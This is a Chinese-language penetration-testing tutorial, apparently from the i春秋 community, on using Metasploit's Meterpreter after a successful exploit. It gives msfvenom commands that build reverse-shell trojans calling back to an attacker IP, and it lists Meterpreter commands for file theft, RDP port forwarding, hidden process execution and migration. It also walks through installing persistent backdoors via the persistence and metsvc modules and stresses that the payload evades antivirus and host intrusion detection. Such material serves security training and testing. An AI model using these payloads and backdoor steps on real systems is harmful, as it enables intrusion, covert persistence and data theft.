滲透攻防工具篇-後滲透階段的Meterpreter
本文原創作者:zusheng
內容來源:i春秋社區未經許可禁止轉載!
前言
熟悉Metasploit的應該對Meterpreter不陌生,作為後滲透階段的利器,其強大之處可想而知,那麼本篇文章就帶大家來學習一下Meterpreter,目的在於讓大家了解它的常用命令和使用方法。
貼心提示:為提高教學效果,文章內的配圖大部分是GIF,擔心流量的知友請盡量在WIFI環境下觀看!
目錄第一節 初識Meterpreter
- 1.1、什麼是Meterpreter
- 1.2、Meterpreter的優點
- 2.1、reverse_tcp
- 2.2、reverse_http
- 2.3、reverse_https
- 2.4、bind_tcp第三節 Meterpreter的常用命令
第三節 Meterpreter的常用命令
- 3.1、基本命令
- 3.2、文件系統命令
- 3.3、網路命令
- 3.4、系統命令第四節 後滲透攻擊模塊
第四節 後滲透攻擊模塊
- 4.1、什麼是後滲透攻擊模塊
- 4.2、後滲透攻擊模塊的實現原理
- 4.3、enum_drives
- 5.1、persistence後滲透攻擊模塊
- 5.2、metsvc後滲透攻擊模塊
- 第一節 初識Meterpreter
Meterpreter是Metasploit框架中的一個擴展模塊,作為溢出成功以後的攻擊載荷使用,攻擊載荷在溢出攻擊成功以後給我們返回一個控制通道。使用它作為攻擊載荷能夠獲得目標系統的一個Meterpretershell的鏈接。Meterpretershell作為滲透模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網路介面和IP地址等信息。另外Meterpreter能夠躲避入侵檢測系統。在遠程主機上隱藏自己,它不改變系統硬碟中的文件,因此HIDS[基於主機的入侵檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。最後,Meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行滲透。
1.2、Meterpreter技術優勢
Metasploit提供了各個主流平台的Meterpreter版本,包括Windows、Linux,同時支持x86、x64平台,另外,Meterpreter還提供了基於PHP和Java語言的實現。Meterpreter的工作模式是純內存的,好處是啟動隱藏,很難被殺毒軟體監測到。不需要訪問目標主機磁碟,所以也沒什麼入侵的痕迹。除上述外,Meterpreter還支持Ruby腳本形式的擴展。所以Ruby語言還很有必要。- 第二節 Meterpreter中常用的Shell
這是一個基於TCP的反彈shell,下面演示Linux下反彈shell,Windows道理一樣不做演示。
- Linux
使用下列命令生成一個Linux下反彈shell木馬:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
這邊運行一下我們的反彈shell木馬,可以發現成功反彈回shell了。
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[埠] -f exe -o 要生成的文件名
2.2、reverse_http
基於http方式的反向連接,在網速慢的情況下不穩定。payload:/windows/meterpreter/reverse_http
payload:/windows/meterpreter/reverse_https
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o bindshell
同樣道理加許可權運行,不演示了。
這裡注意,我們設置的IP地址和埠就是目標機的。因為這是我們主動來連接它。- 第三節 Meterpreter的常用命令
background # 讓meterpreter處於後台模式 sessions -i index # 與會話進行交互,index表示第一個session quit # 退出會話 shell # 獲得控制台許可權 irb # 開啟ruby終端
3.2、文件系統命令
cat # 查看文件內容 getwd # 查看當前工作目錄 upload # 上傳文件到目標機上 download # 下載文件到本機上 edit # 編輯文件 search # 搜索文件
3.3、網路命令
ipconfig / ifconfig # 查看網路介面信息 portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 埠轉發,本機監聽4444,把目標機3389轉到本機4444 rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然後使用rdesktop來連接,-u 用戶名 -p 密碼route # 獲取路由表信息
3.4、系統命令
ps # 查看當前活躍進程 migrate pid # 將Meterpreter會話移植到進程數位pid的進程中 execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互 getpid # 獲取當前進程的pid kill pid # 殺死進程 getuid # 查看許可權 sysinfo # 查看目標機系統信息,如機器名,操作系統等 shutdown # 關機
- 第四節 後滲透攻擊模塊
4.1、什麼是後滲透攻擊模塊
後滲透攻擊模塊(Post)是Metasploit v4版本中正式引入的一種新類型的組件模塊,主要支持在滲透攻擊取得目標系統遠程控制權之後,在受控系統中進行各式各樣的後滲透攻擊動作,比如獲取敏感信息、進一步拓展、實施跳板攻擊等。4.2、後滲透攻擊模塊的實現原理後滲透攻擊模塊是通過Ruby語言編寫的,目標機上可能沒有Ruby解釋器吧,那麼後滲透攻擊模塊是如何通過Meterpreter會話在目標機上執行的呢。看下來步驟:- 後滲透攻擊腳本由Meterpreter客戶端解釋
- 遠程調用Meterpreter服務端提供的API(Meterpreter服務端即運行在目標機上的攻擊載荷)
我們首先將meterpreter會話放入後台,然後搜索我們的模塊。
然後使用use命令來使用模塊,然後設置一下會話id,接著執行,可以發現成功獲取到目標主機磁碟分區的信息。
- 第五節 植入後門
Meterpreter僅僅是在內存中駐留的Shellcode,只要目標機器重啟就會喪失控制權,下面就介紹如何植入後門,維持控制。
5.1、persistence後滲透攻擊模塊使用方法:-X指定啟動的方式為開機自啟動,-i反向連接的時間間隔然後就是監聽,等待後門連接5.2、metsvc後滲透攻擊模塊metsvc後滲透攻擊模塊其實就是將Meterpreter以系統服務的形式安裝到目標主機,它會上傳三個文件:- metsvc.dll
- metsvc-service.exe
- metsvc.exe
推薦閱讀:
※Pegasus | 一款360度無死角的間諜軟體
※最安全的通信軟體Signal真的安全嗎?
※聽說《加勒比海盜5:死無對證》被黑客盜了,是真的嗎?
※安全工程師們必看:加強網路環境的9條建議